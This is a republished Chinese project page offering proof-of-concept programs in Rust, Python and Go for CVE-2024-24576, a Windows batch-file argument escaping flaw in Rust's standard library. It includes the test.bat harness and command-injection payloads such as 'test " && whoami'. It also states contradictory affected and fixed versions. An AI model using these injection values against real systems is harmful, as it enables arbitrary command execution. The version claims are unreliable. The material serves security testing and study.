当前位置: 首页 > news >正文

CVE-2024-24576 漏洞利用与测试工具集

CVE-2024-24576 漏洞利用与测试工具集

本项目提供了针对CVE-2024-24576安全漏洞的概念验证(PoC)代码,涵盖RustPythonGo三种编程语言。该漏洞存在于 Rust 标准库在 Windows 平台上处理批处理文件参数时的转义逻辑缺陷,可能导致任意命令执行。

功能特性

  • 多语言 PoC 实现:提供 Rust、Python、Go 三种语言的漏洞测试代码
  • 命令注入测试:演示通过恶意构造的参数实现命令注入攻击
  • 批处理文件调用模拟:展示调用test.bat批处理文件时的安全风险
  • Rust 特有漏洞对比:特别对比 Rust 中Command::argCommand::args两种 API 的注入表现
  • 安全研究辅助:帮助开发者理解漏洞原理并进行安全测试

安装指南

系统要求

  • Windows 操作系统(漏洞特定平台)
  • 对应语言的运行时环境

Rust 版本

# 安装 Rust(如未安装)curl--proto'=https'--tlsv1.2-sSfhttps://sh.rustup.rs|sh# 编译运行rustc exploit.rs ./exploit.exe

Python 版本

# 无需额外依赖,使用标准库python exploit.py

Go 版本

# 安装 Go(如未安装)# 下载地址:https://golang.org/dl/# 编译运行go build exploit.go exploit.exe

使用说明

基础使用

  1. 准备测试批处理文件:在项目根目录创建test.bat文件
@echo off echo Argument received: %1
  1. 运行 PoC 程序

Rust 版本(自动执行多个预定义 Payload):

cargorun# 或./exploit.exe# 程序会自动测试多个 Payload,并等待用户输入额外 Payload

Python 版本(交互式输入):

python exploit.py Enter Payload:test&&whoami

Go 版本(交互式输入):

go run exploit.go Enter parameter1:test&&whoami

典型测试 Payload 示例

# 基础测试test# 命令注入 - 执行 whoamitest&&whoami# 命令注入 - 带引号绕过test" && whoami # 命令注入 - Rust 版本特殊构造 test "&&calc.exe

Rust 版本特殊说明

Rust 版本会依次测试:

  • 预定义的 3 个 Payload
  • 用户输入的 Payload(自动包装为test " && {input}格式)
  • 分别测试Command::argCommand::args两种 API

核心代码

Rust 漏洞利用核心代码

usestd::process::Command;usestd::io;fnmain(){// 存储测试 Payload 的向量letmutpayloads=vec!["test",r#"test && whoami"#,r#"test " && whoami"#,];// 获取用户输入并添加到 Payload 向量println!("Enter payload:");letmutinput=String::new();io::stdin().read_line(&mutinput).expect("Failed to read line");letpayload=input.trim();letcommand=format!(r#"test " && {}"#,payload);payloads.push(&command);// 测试 Command::arg APIprintln!("Command Injection on Command::arg");forpayloadin&payloads{letoutput=Command::new("./test.bat").arg(payload).output().expect("Failed to execute command");println!("Output for payload '{}':\n{}",payload,String::from_utf8_lossy(&output.stdout));}// 测试 Command::args APIprintln!("Command Injection on Command::args");forpayloadin&payloads{letoutput=Command::new("./test.bat").args(&[payload]).output().expect("Failed to execute command");println!("Output for payload '{}':\n{}",payload,String::from_utf8_lossy(&output.stdout));}}

Python 漏洞利用核心代码

importsubprocessdefrun_batch_file(batch_file_path,second_argument):""" 执行批处理文件并传递参数 存在命令注入风险:参数未经过滤直接传递给 shell """try:# shell=True 会调用 cmd.exe,导致参数被解析执行subprocess.run([batch_file_path,second_argument],shell=True,check=True)exceptsubprocess.CalledProcessErrorase:print(f"Error occurred while running the batch file:{e}")exceptFileNotFoundError:print(f"Batch file '{batch_file_path}' not found.")# 示例使用:从用户输入获取恶意参数batch_file_path="test.bat"second_argument=input("Enter Payload: ")run_batch_file(batch_file_path,second_argument)

Go 漏洞利用核心代码

packagemainimport("bufio""fmt""os""os/exec""strings")funcmain(){batchFile:=`test.bat`// 获取用户输入的参数reader:=bufio.NewReader(os.Stdin)fmt.Print("Enter parameter 1: ")param1,_:=reader.ReadString('\n')param1=strings.TrimSpace(param1)// 构造命令并执行parameters:=[]string{param1}cmd:=exec.Command(batchFile,parameters...)// 设置标准输出和错误输出cmd.Stdout=os.Stdout cmd.Stderr=os.Stderr// 执行命令(存在注入风险)err:=cmd.Run()iferr!=nil{fmt.Println("Error:",err)return}fmt.Println("Batch file executed successfully.")}

漏洞说明

根据 Rust 安全公告 CVE-2024-24576,Rust 标准库在 Windows 平台上调用批处理文件时,参数转义逻辑不完整,可能导致恶意参数绕过转义机制并执行任意 shell 命令。

  • 影响版本:Rust 1.77.2 及之前版本
  • 修复版本:Rust 1.77.2(部分修复)、1.78.0(完全修复)
  • 风险 APICommand::argCommand::args
    6HFtX5dABrKlqXeO5PUv/0utpqH8CghdzjK93UH3cmiU5I9Lm+I0lAqOHt1e1fxf
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
http://www.jsqmd.com/news/607321/

相关文章:

  • 2026年药用级聚氧乙烯氢化蓖麻油RH40市场、产品与供应渠道分析 - 品牌推荐大师
  • 2026 年翡翠回收上门五大品牌排名及解析 - 十大品牌榜
  • Filament Shield 完整指南:10分钟实现 Laravel Filament 权限管理系统
  • 精准高效|台式直读光谱仪核心性能指标深度解析(附选购参数) - 品牌推荐大师1
  • 重新审视基于学习的车辆运动规划:从nuPlan挑战看规则与学习的平衡
  • HACK RF实战指南——从零搭建GPS信号模拟环境
  • Vivado 2023.1里CORDIC IP核的7种模式怎么选?手把手教你从配置到仿真避坑
  • 半导体供应链年会怎么选?聚焦三大关键,锁定年度盛会 - 品牌2026
  • 【仅限首批读者】FastAPI 2.0流式响应私密配置手册:隐藏在testclient源码中的3个async test陷阱与真实压测调优参数
  • 2026年北京好用的非开挖管道修复机构排名,费用怎么算 - 工业品牌热点
  • 传统历法计算:3大场景+5个实用技巧,基于lunar-javascript的企业级实现方案
  • 原神抽卡数据管理工具:从零开始的抽卡记录全掌控指南
  • 口碑好的大口径法兰毛坯厂家推荐:售后无忧的优质选择 - 品牌推荐大师
  • 代码大模型IQuest-Coder-V1-40B实战:LoRA微调让编程更高效
  • IDEA断点调试5大实战技巧——从条件断点到异常捕获的深度解析
  • 智绘数字未来,构筑智能基石 —— 成都新海力科技有限公司助力全国政企数字化转型 - 深度智识库
  • 掌握B站视频本地化:DownKyi下载工具全场景应用指南
  • 天星医疗通过上市聆讯:年营收4亿 利润1.4亿 董文兴控制41%股权
  • 2026年气源三联件费用多少,性价比高的制造厂推荐 - 工业品网
  • 一年一度:国际半导体年会里看产业协作与前沿话题 - 品牌2026
  • 泛微Ecology9二次开发实战:手把手教你定制一个请假审批流程(含表单+接口)
  • 深入解析AndroidAutomotive VehicleHal:架构设计与实现原理
  • 2026年药用级壳聚糖的市场结构、产品核心与专业服务解析 - 品牌推荐大师
  • 奥迪A6/A8发动机哪家服务商更专业,实力强? - 品牌推荐大师
  • nli-distilroberta-base数据库智能查询:自然语言问题与SQL语句的蕴含关系判断
  • 突破网页版限制:BiliBili-UWP带来的Windows原生观影新体验
  • Keylogger实战案例:从信息收集到数据发送的全过程演示
  • 打造个人专属RSS聚合中心:Docker部署RssHub与cpolar内网穿透实战指南
  • MCP、Skills、Agent、LLM:四层架构全解,一文理清核心概念
  • 告别繁琐游戏操作:League-Toolkit的4大核心突破体验